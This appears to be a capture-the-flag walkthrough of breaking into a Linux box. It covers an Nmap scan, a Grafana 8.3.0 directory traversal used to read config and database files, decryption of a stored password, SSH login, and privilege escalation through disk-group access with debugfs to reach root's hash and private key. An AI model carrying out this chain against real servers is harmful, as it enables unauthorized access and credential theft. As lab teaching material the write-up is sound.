Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
3000/tcp open http Grafana http
|_http-favicon: Unknown favicon MD5: F69DADBD5936359AF76AAB84559E849F
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Grafana
|_Requested resource was /login
9090/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-favicon: Unknown favicon MD5: 5EE43B38986A144D6B5022EA8C8F748F
| http-methods:
|_ Supported Methods: GET OPTIONS
| http-title: Prometheus Time Series Collection and Processing Server
|_Requested resource was /graph
Enumeration
On 3000 there is a Grafana login page.
On 9090 there is a Prometheus dashboard.
Our Grafana version (v8.3.0) is vulnerable to Directory Traversal. We can read files on the server.
HackTricks has some useful files.

Exploitation
https://github.com/davidrxchester/Grafana-8.3-Directory-Traversal/blob/main/readFiles.py
First:
/etc/grafana/grafana.ini
# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
;admin_password = admin
# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
Now:
/var/lib/grafana/grafana.db
{"basicAuthPassword":"anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w=="}
User is sysadmin
rometheusPrometheusserverhttp://localhost:9090sysadmin
We will use Grafana-Decryptor
https://github.com/Sic4rio/Grafana-Decryptor-for-CVE-2021-43798

SuperSecureP@ssw0rd
We can read /etc/passwd and notice that sysadmin is a user on thee box. SSH?
It works.
Privilege Escalation
Sysadmin cannot run sudo.
However, they are in the disk group, so we can use debugfs potentially to read sensitive files.
$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin),6(disk)

root:$6$mAe2JsSJSmg1n45O$78rgk3B6HaklRIPcLOtwP9aX5i.0aPF16NVm39i1cz3K7StTajlI2LFBp.WSxiAAyoB4SQd5qc123HVmH0HXJ/
Let’s try to crack it. No luck. Let’s look elsewhere.
files /.ssh/id_rsa

Found their private key!
Copy to a file on our attacker machine and voi la!

Done!